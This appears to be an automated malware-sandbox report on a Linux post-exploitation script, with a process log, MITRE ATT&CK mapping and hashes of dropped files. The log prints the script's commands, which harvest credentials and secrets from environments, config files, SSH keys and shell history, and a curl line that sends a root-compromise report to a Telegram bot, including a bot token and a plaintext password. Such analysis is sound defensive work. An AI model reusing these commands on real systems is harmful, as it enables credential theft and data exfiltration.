  PID:1032
- /usr/bin/strings
  strings /proc/78/environ
  2⤵
  - Reads runtime system information
  PID:1031
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1034
- /usr/bin/strings
  strings /proc/79/environ
  2⤵
  - Reads runtime system information
  PID:1033
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1036
- /usr/bin/strings
  strings /proc/8/environ
  2⤵
  - Reads runtime system information
  PID:1035
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1038
- /usr/bin/strings
  strings /proc/81/environ
  2⤵
  PID:1037
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1040
- /usr/bin/strings
  strings /proc/9/environ
  2⤵
  PID:1039
- /usr/bin/find
  find / -maxdepth 5 "(" -name config.php -o -name config.app.php -o -name database.php -o -name wp-config.php -o -name .env -o -name next.config.js -o -name settings.py -o -name application.yml ")" -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*" -not -path "*/vendor/*" -not -path "*/node_modules/*"
  2⤵
  - Reads runtime system information
  PID:1041
- /usr/bin/find
  find /home -name .bash_history -exec tail -50 "{}" ";"
  2⤵
  - Reads runtime system information
  PID:1042
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:1043
- /bin/ls
  ls -la /root/.ssh/
  2⤵
  - Reads runtime system information
  PID:1044
- /usr/bin/head
  head -5
  2⤵
  PID:1046
- /bin/cat
  cat /root/.ssh/authorized_keys
  2⤵
  PID:1045
- /bin/ls
  ls -la /root/.ssh/
  2⤵
  PID:1047
- /bin/ls
  ls -la /home/prabowo/.ssh/
  2⤵
  - Reads runtime system information
  PID:1048
- /bin/cat
  cat /tmp/.proc_environ.txt
  2⤵
  PID:1049
- /usr/bin/head
  head -80
  2⤵
  PID:1051
- /usr/bin/sort
  sort -u
  2⤵
  PID:1050
- /usr/bin/head
  head -80
  2⤵
  PID:1054
- /bin/grep
  grep -iE "DB_|DATABASE|APP_KEY|SECRET|PASSWORD|AWS_|OPENAI|ANTHROPIC|STRIPE|GITHUB_TOKEN|PRIVATE_KEY|SEED_PHRASE|WALLET|JWT_|FIREBASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1053
- /usr/bin/printenv
  printenv
  2⤵
  PID:1052
- /usr/bin/head
  head -60
  2⤵
  PID:1057
- /usr/bin/sort
  sort -u
  2⤵
  PID:1056
- /bin/grep
  grep -iE "OPENAI_API_KEY|ANTHROPIC_API_KEY|CLAUDE_API_KEY|GEMINI_API_KEY|STRIPE_SECRET|sk_live_|sk_test_|TWILIO_AUTH_TOKEN|SENDGRID_API_KEY|GITHUB_TOKEN|ghp_[a-zA-Z0-9]{36}|GITLAB_TOKEN|DISCORD_TOKEN|SLACK_TOKEN|xoxb-|FIREBASE_API_KEY|CLOUDFLARE_API_TOKEN|DO_TOKEN|GOOGLE_API_KEY|AIza" /tmp/.ea.txt /tmp/.proc_environ.txt
  2⤵
  - System Network Configuration Discovery
  PID:1055
- /usr/bin/head
  head -50
  2⤵
  PID:1060
- /usr/bin/sort
  sort -u
  2⤵
  PID:1059
- /bin/grep
  grep -iE "DB_HOST|DB_PORT|DB_DATABASE|DB_USERNAME|DB_PASSWORD|DATABASE_URL|MYSQL_HOST|MYSQL_USER|MYSQL_PASSWORD|POSTGRES_HOST|POSTGRES_USER|POSTGRES_PASSWORD|MONGO_URI|MONGODB_URI|REDIS_URL|REDIS_PASSWORD" /tmp/.ea.txt /tmp/.proc_environ.txt
  2⤵
  PID:1058
- /bin/cat
  cat "~/.aws/credentials" /root/.aws/credentials
  2⤵
  PID:1061
- /usr/bin/find
  find / -name "service-account*.json" -not -path "*/proc/*" -not -path "*/sys/*"
  2⤵
  PID:1062
- /usr/bin/head
  head -60
  2⤵
  PID:1065
- /bin/cat
  cat /tmp/.hist_all.txt
  2⤵
  PID:1064
- /usr/bin/head
  head -30
  2⤵
  PID:1067
- /bin/ls
  ls -la /root
  2⤵
  PID:1066
- /usr/bin/id
  id prabowo
  2⤵
  - Reads runtime system information
  PID:1068
- /bin/ls
  ls -la /home/prabowo/.ssh/authorized_keys
  2⤵
  - Reads runtime system information
  PID:1069
- /bin/ls
  ls -la /root/.ssh/authorized_keys
  2⤵
  PID:1070
- /bin/grep
  grep -iE "OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD_TOKEN|SLACK_TOKEN|FIREBASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API|sk-|sk-ant-|SG\\.|ghp_|xoxb-|AIza" /tmp/.rc_8usfNF
  2⤵
  PID:1071
- /bin/grep
  grep -iE "PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|ETH_|BTC_|SECRET_RECOVERY|KEYSTORE" /tmp/.rc_8usfNF
  2⤵
  PID:1072
- /bin/cp
  cp /tmp/.ea.txt /tmp/.re_OKP22Q
  2⤵
  - Reads runtime system information
  PID:1073
- /bin/grep
  grep -qF 66.228.55.63
  2⤵
  PID:1075
- /bin/grep
  grep -qF 104.237.129.45
  2⤵
  PID:1077
- /usr/bin/curl
  curl -s -m 20 -X POST https://api.telegram.org/bot8933003001:AAEuwR3koW9CwQAyedZaXF-39YC4foE8dc8/sendMessage --data-urlencode "chat_id=-5166763693" --data-urlencode "text=debian9-mipsel-20260513-en-5 RCE HIT! Host : debian9-mipsel-20260513-en-5 IP : 10.127.0.184 User : uid=0(root) gid=0(root) groups=0(root) Home : /root Distro: debian Pwnkit: SUCCESS (fallback root) Date : 2026-06-27 22:53:35"
  2⤵
  PID:1078
- /bin/sleep
  sleep 1
  2⤵
  PID:1080
- /usr/bin/wc
  wc -c
  2⤵
  PID:1082
- /bin/cat
  cat /tmp/.rc_8usfNF
  2⤵
  PID:1083
- /bin/grep
  grep -qF 66.228.55.63
  2⤵
  PID:1085
- /bin/grep
  grep -qF 104.237.129.45
  2⤵
  PID:1087
- /usr/bin/curl
  curl -s -m 20 -X POST https://api.telegram.org/bot8933003001:AAEuwR3koW9CwQAyedZaXF-39YC4foE8dc8/sendMessage --data-urlencode "chat_id=-5166763693" --data-urlencode "text==================================== TEMPIX RCE REPORT v5.3 Host : debian9-mipsel-20260513-en-5 IP : 10.127.0.184 User : uid=0(root) gid=0(root) groups=0(root) Date : 2026-06-27 22:53:35 Home : /root Distro : debian Pwnkit : SUCCESS (fallback root) =================================== === [1] SYSTEM === User : root | uid=0(root) gid=0(root) groups=0(root) Host : debian9-mipsel-20260513-en-5 Uname : Linux debian9-mipsel-20260513-en-5 4.9.0-13-4kc-malta #1 Debian 4.9.228-1 (2020-07-05) mips GNU/Linux IP : 10.127.0.184 Home : /root STATUS : *** ROOT *** === [2] SSH STATUS === --- Current user --- No .ssh dir --- Root --- No root .ssh dir --- prabowo --- total 12 drwx------ 2 prabowo prabowo 4096 Jun 27 22:53 . drwxr-xr-x 3 prabowo prabowo 4096 Jun 27 22:53 .. -rw------- 1 prabowo prabowo 740 Jun 27 22:53 authorized_keys === [3] ALL PROC ENVIRON === === [4] PRINTENV === === [5] ALL .ENV FILES === === [6] API KEYS === === [7] DATABASE === === [8] CLOUD === === [9] HISTORY (all users) === === [10] HOME DIR FILES === HOME: /root total 16 drwx------ 2 root root 4096 Oct 17 2023 . drwxr-xr-x 21 root root 4096 May 13 20:14 .. -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 148 Aug 17 2015 .profile === [11] CONFIGS (Laravel / WP / Next) === === [12] PWNKIT RESULT === Status : SUCCESS (fallback root) User : prabowo Pass : D4pur.Mbg87 Groups : uid=1001(prabowo) gid=1001(prabowo) groups=1001(prabowo) -rw------- 1 prabowo prabowo 740 Jun 27 22:53 /home/prabowo/.ssh/authorized_keys Root key: No root key =================================== END - debian9-mipsel-20260513-en-5 | 2026-06-27 22:53:35 ==================================="
  2⤵
  PID:1088
- /bin/sleep
  sleep 1
  2⤵
  PID:1090
- /bin/cp
  cp /tmp/.rc_8usfNF /tmp/.kontol_miber
  2⤵
  - Writes file to tmp directory
  PID:1091
- /usr/bin/head
  head -20
  2⤵
  PID:1093
- /bin/cat
  cat /tmp/.rk_VStrS6
  2⤵
  PID:1092
- /usr/bin/head
  head -10
  2⤵
  PID:1095
- /bin/cat
  cat /tmp/.rw_tZLuv0
  2⤵
  PID:1094
- /usr/bin/head
  head -30
  2⤵
  PID:1097
- /bin/cat
  cat /tmp/.re_OKP22Q
  2⤵
  PID:1096
- /bin/chmod
  chmod 644 /tmp/.kontol_miber
  2⤵
  PID:1098
- /bin/rm
  rm -f /tmp/.rc_8usfNF /tmp/.rk_VStrS6 /tmp/.rw_tZLuv0 /tmp/.re_OKP22Q
  2⤵
  PID:1099
- /bin/rm
  rm -f /tmp/.el.txt /tmp/.ec.sh /tmp/.ea.txt /tmp/.proc_environ.txt
  2⤵
  PID:1100
- /bin/rm
  rm -f /tmp/.configs.txt /tmp/.hist_all.txt
  2⤵
  PID:1101
- /bin/rm
  rm -f "/tmp/.rc_*" "/tmp/.rk_*" "/tmp/.rw_*" "/tmp/.re_*"
  2⤵
  PID:1102

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

group+

Path /etc/group+
Size 715B
SHA256 135ce31ddd871e56aecfc4e229a741a2b1d03174b667ec405e9b6cfc2e6e68a6
MD5 6832d8b7b4f3519f79c552ab25929f79
SHA1 9a622f032b6f5399102b6dc5a839be97bcaf1755
SHA512 c6c5ae6b1b2f9b2483d669904904bb2248170863b56821ef2c04c1be9ae8c3e96f155e3cc8f0e8671577e0c636d1e285d5b5f5634017b9e0f66901a277e46c4a
TLSH
T1BB016408B808C55880A1184A1A761FEA26B92ECF89AFD5C6E57FC8D87211D231A66CE4
MD5 SHA1 SHA512 TLSH

Submit Download

gshadow+

Path /etc/gshadow+
Size 602B
SHA256 9bf542c3d3ed29737679a5f7e4139c67c2f2a5fde7d0bda3aebd6e0a56352b18
MD5 affe1446b068333a4ba155ada400f17f
SHA1 78299edcbc74108f69369424f91f5555dfbe6259
SHA512 8ad6b4aa2f2cea8e19109e4c08e4a53df6c2b477281547132b1dbf32c00e8944d0b1d670366741fa0dbc98227caa7b99d467f4b9a279e24e4080106f4123311f
TLSH
T1A0F02460B25A80584006184B7FB54E9B282A7A6A84E8C4C3C576C8D71F288FF2A71CF9
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 122a22c33459e276886ad9ce6afabf22c4885f44b10803ba0c09b4393da67de4
MD5 c15ce0af117b9fbf80cdf1c5ce7139a9
SHA1 6692f6acade297ff4a0492677ccbe1316b84e8b6
SHA512 2c117f6f76991c22d85b59906fb56c58baff33dcc27d011b84a944b82edb5f473216984bf5e6c0da031d93845aac9347da5b8f36ff2bcff575cf1a284b856b07
TLSH
T1C1313B20032990BC9CC1E85A112F7FD414EC78D14A7AFB2DDC7BA144ED8BB6D27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 897B
SHA256 cdb98237b191ad6d68582dd42896ecc2eb7952ed34c1365fa15dd629b2e2424f
MD5 658b9a96f2c9dd6bb2981c0bc73765f2
SHA1 e017994292f10a900b677ebc7cdac1eb093faa01
SHA512 4718b62cb817fd3904ed01c4445f4393b5dcddbe5072c11485d3e9faaf77b0336c390c50743646668a016be6d106f7caf011a14041d8e8414be173a51c354f14
TLSH
T162117080533CEC1843A510DD61920689C7DB6C350278C18FC81689374EB48E61319DB7
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 aca848384bd8c2f3ac441f449cd218d1fd88b97b7401eb0d65c944429ec815fb
MD5 d73d8bd24830ee9076e5b9daf49edf39
SHA1 a8373434a33eee9c67df4976fe8cea9080099fed
SHA512 a5b3624314ac8bf918a6b5562a62d9b4815e9e9ac17228f559fc48543cf0112318f33ea05da222663849f37a3651f1299e604596c4a2cd9f9741bfd20ab6be0d
MD5 SHA1 SHA512

Submit Download

.bash_logout

Path /home/prabowo/.bash_logout
Size 220B
SHA256 26882b79471c25f945c970f8233d8ce29d54e9d5eedcd2884f88affa84a18f56
MD5 22bfb8c1dd94b5f3813a2b25da67463f
SHA1 dc216ac4a4c232815731979db6e494f315b507dd
SHA512 c3d739f4934824d81f561c9b626b494e3c256b5a97642667882632db030fc1a8c7d23eb1ae5db7e9f63ae46ee84dbee69d15130dd1482a2c1e8aade1dfc545a2
TLSH
T160D0A74DA8DD2B76601C2C568A46E68030C5180C0A0DBA213055D52D7541378C3911FA
MD5 SHA1 SHA512 TLSH

Submit Download

.bashrc

Path /home/prabowo/.bashrc
Size 3KB
SHA256 afae8986f549c6403410e029f9cce7983311512d04b1f02af02e4ce0af0dd2bf
MD5 ee35a240758f374832e809ae0ea4883a
SHA1 1912d65db378e86db92e0ec08c9d90b93e4b0349
SHA512 f44ed7e6ffc61982509b56b9b5dc234838eaf3134c09cec9dc24767149c46373086807c6a96df736de6f7735621b8ee879a0db32cf602305fa75a65bb4f8a7e0
TLSH
T18771B8AAD304E37BAD87419D33DBA1413384F4E26F643F48B058625A7B9315261FA1FC
MD5 SHA1 SHA512 TLSH

Submit Download

.profile

Path /home/prabowo/.profile
Size 675B
SHA256 86512cad76131783f5dae4346ddc3fb39f6f7c0f74b3039bff70ca4015ade034
MD5 ecb6d3479ac3823f1da7f314d871989b
SHA1 79d58526d0e0bf4df4f01b383ed3f49c428aaa2a
SHA512 9dc54c15a1103ff44b291241ed514afb89c0bac920ababdb2014379d3dc54ec8f10593301011ca3fcdaeb3a63f8650c7647e8eb2b3abfab2cd86ebc78629cd88
TLSH
T13A01FE27B60E63363AE419F42CD853911B6C30B89AFC7E042068140FBA1616860F73F6
MD5 SHA1 SHA512 TLSH

Submit Download

.kontol_miber

Path /tmp/.kontol_miber
Size 1KB
SHA256 3584f03f73e62db4b6c2a8a2672b5bbd526b2a4ca27eb82b636195c3bf5acbc5
MD5 f1bc9ede741d41bc12d8c2bc8056b370
SHA1 99f72f1caf84dc2e1314577090ba0ab85ce8e44e
SHA512 64f2b7557e2442a6721e14ee05b2bb17f5b3bd43b4257b5f73315210225189675cf0a9ff0a36bfb04350a916d276f2b20d8f058d14620e172becf30fc5d9e80c
TLSH
T13F31DCC32AD51267E452DBE2E82373F68675640A6FE9320C555C56E01301F4C5B8F9F6
MD5 SHA1 SHA512 TLSH

Submit Download

.kontol_miber

Path /tmp/.kontol_miber
Size 1KB
SHA256 a9cd73dc7d3334d4e05d7d5b6536258bef2c9f9635045258b0d40843de3eceb5
MD5 d7aa48986bf9341b4270717fc836d2ac
SHA1 3bf83a2a8aef7b49882ec2f8094f76aa2cd80aa6
SHA512 e2ebf73581f3c21825ac73c31645fb65fe6ad74cbd80f7b48c66b0b9a82ef7f538dd78d1d99be8f1a29b068287c81f65f16cb6a64d500342bd860c8034fb2205
TLSH
T1B931FCC32AD51263E452CBE2E82373F68674A40A6FE8320C555C56E01301F8C5B8F9FA
MD5 SHA1 SHA512 TLSH

Submit Download

.kontol_miber

Path /tmp/.kontol_miber
Size 1KB
SHA256 b89890d6cf113fe24d29a63bcfcc8cb4df0c0a4566fa17e08e44267071e60771
MD5 c5d74b5db800603365f29d018c48ffed
SHA1 9bb798d58e609d4e82c212a26dd7594636d1b575
SHA512 341704ad3dd26e82c2e840e9fb32718bfa28c6ea1c37a71394a59f523b43277abcccd6ca131e4c5dd3bdc6fd90fa840168fb86add526878b2dbda8280970c46f
TLSH
T18031FEC32AD51263E452CBE1E82373F68674640A6FE8320C555C56E01311F8C5B8F9F6
MD5 SHA1 SHA512 TLSH

Submit Download

.rc_8usfNF

Path /tmp/.rc_8usfNF
Size 572B
SHA256 ebf1bf6e44063174e3aa1a6de72d455743295dbd4bd88834246ca9370c623772
MD5 59dbb0e72cd9f2498cf9fc507ef4f51f
SHA1 feaa33480209c69118dcefaf72a3d24993ed92ae
SHA512 a27d306ff5320e33987ecd98de0bd43b4ff6befef71bb06474a4ea1b260a60625fc8e0a32b76c80ef4e83019d9100dd25da807176adc8cb27b8cf622d811d629
TLSH
T1B3F0249176F52207A59BD2F1D470B1FA44A3FC002B58B704BD5C5AC1930970A7792562
MD5 SHA1 SHA512 TLSH

Submit Download

.rc_8usfNF

Path /tmp/.rc_8usfNF
Size 639B
SHA256 04344e68173c84c5c63ee68e4db0f9a078a6f7c8f22b3a79acdc122f9eefb692
MD5 88f9a9aa56758b2cd45c3a12e20c3d6a
SHA1 6f55e2297429d052728a7323e0d2d45d5ee49b1f
SHA512 fe41fefaf7e295f3924536315a0a94f2a6dd98bcfbbca72350a6076f1df0b9418f78061ee0fad43b3ce099ccb6727c6a7612c22652e6c38df4a7b5f7fc152504
TLSH
T18FF0819177F53307B157D6F1D47071FA44A3FD012B58B7087D5C6AC1930870A7792566
MD5 SHA1 SHA512 TLSH

Submit Download

.rc_8usfNF

Path /tmp/.rc_8usfNF
Size 651B
SHA256 b040037c967dd133cd6aad536f850db561b58e4b1e4943b011af09aa8b8f52d2
MD5 a58eb68db8e2e69da6c35e4b190d643f
SHA1 dc7dc0fd6735b806eb5f5da99ce50242b9975f4e
SHA512 70b9092f039fdad11b204718527397a7c21cf33a5ddf5a03fccc8bffc6a302af0038d35a2771ee308e6110c024faca7834fa86dcf2aed5eebaf7356bfa25f77c
TLSH
T182F0AC9177F5320BB157D6F0D47070FA44A3FD002B18B7087D5CAAC1930870AB782422
MD5 SHA1 SHA512 TLSH

Submit Download

.rc_8usfNF

Path /tmp/.rc_8usfNF
Size 664B
SHA256 e488373fbfa72a925372b361e2c8b6543d898e12f41f17bf54bc1e79016aecea
MD5 2a0bcd6cbdd1c4fc75b282c49771c4fc
SHA1 2e7813da7ff6ebbbf7bfe91b8813a1b5b921a788
SHA512 f97e51209892f3eb43ea435d987fafcd5ce545c69c810c703f4710e07f84c3601d2fd45bbb2580451930b1e1d3e289a500b1dae761646e7a8e62cf8975f460bf
TLSH
T17301AC9177F5320BB567D6F1E47070FA48B3FD002B18B7087D5CAAD1930970AB786862
MD5 SHA1 SHA512 TLSH

Submit Download

.rc_8usfNF

Path /tmp/.rc_8usfNF
Size 1KB
SHA256 50180e6241942de3b7fb290b87cbed1da64c3f46ef21590e82cd6ed883e8569a
MD5 18ac37ad95dbd14577cd971bd5d8c7eb
SHA1 abcf29560b0e289ca76d0809365c71f5c4f9019d
SHA512 a087d7ee2ffa11b28b047aa29e20bfd221d33259e272a505dbe309f6edd9f966333b32893ef0bbfba552e22052444d3629a8da1ea1d612e880f497807d48532e
TLSH
T12331FE832AD51367E452CBE2E82372F68674640A6FE9320C555C56E01301F4C5B8F9F7
MD5 SHA1 SHA512 TLSH

Submit Download

kit

Path /tmp/kit
Size 17KB
SHA256 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
MD5 a63eb43c6c694570f4aca391b8111439
SHA1 869e68253bb602144b3750c277eda1ed0b08534a
SHA512 89f433f81dc5f6d4e321e609be30299448cba047a73365b514a23ec91fbecba46fb62441e17842dfd03096f545a18f917b6fb1123e3ec98ad74787284891ea7c
SSDEEP 192:RHw8At8WCQt4hIf8QB6C2af9SBXeDDcIJeEZ6l:at6QtieB6CVf9iiE3
TLSH
T1F982550B7751CD3BC5D8827554AB07749277F9B2EB62630B160462F62F4338C8E2EB56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

authorized_keys

Path /tmp/~/.ssh/authorized_keys
Size 740B
SHA256 aca7bcd435c61d75f44893ef54df53528f21735f5186931f360383080642821f
MD5 010b811301c7d418b077ee058847a3f1
SHA1 da03b8a0f3d3e042955eee8d73b3f91c8a24c87c
SHA512 441f82bdbdae1fb60d019490f785bec0face0271c745e309fc42562413b056a170c56ff32f2c83cc252936a551d6898ef6c356b9fc170ceffd8bfb280363ac68
TLSH
T1D001B5F2436B063A2AE945BBC52322DD570E0DA7202CE199012A3F53F00E8C408CA3F2
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads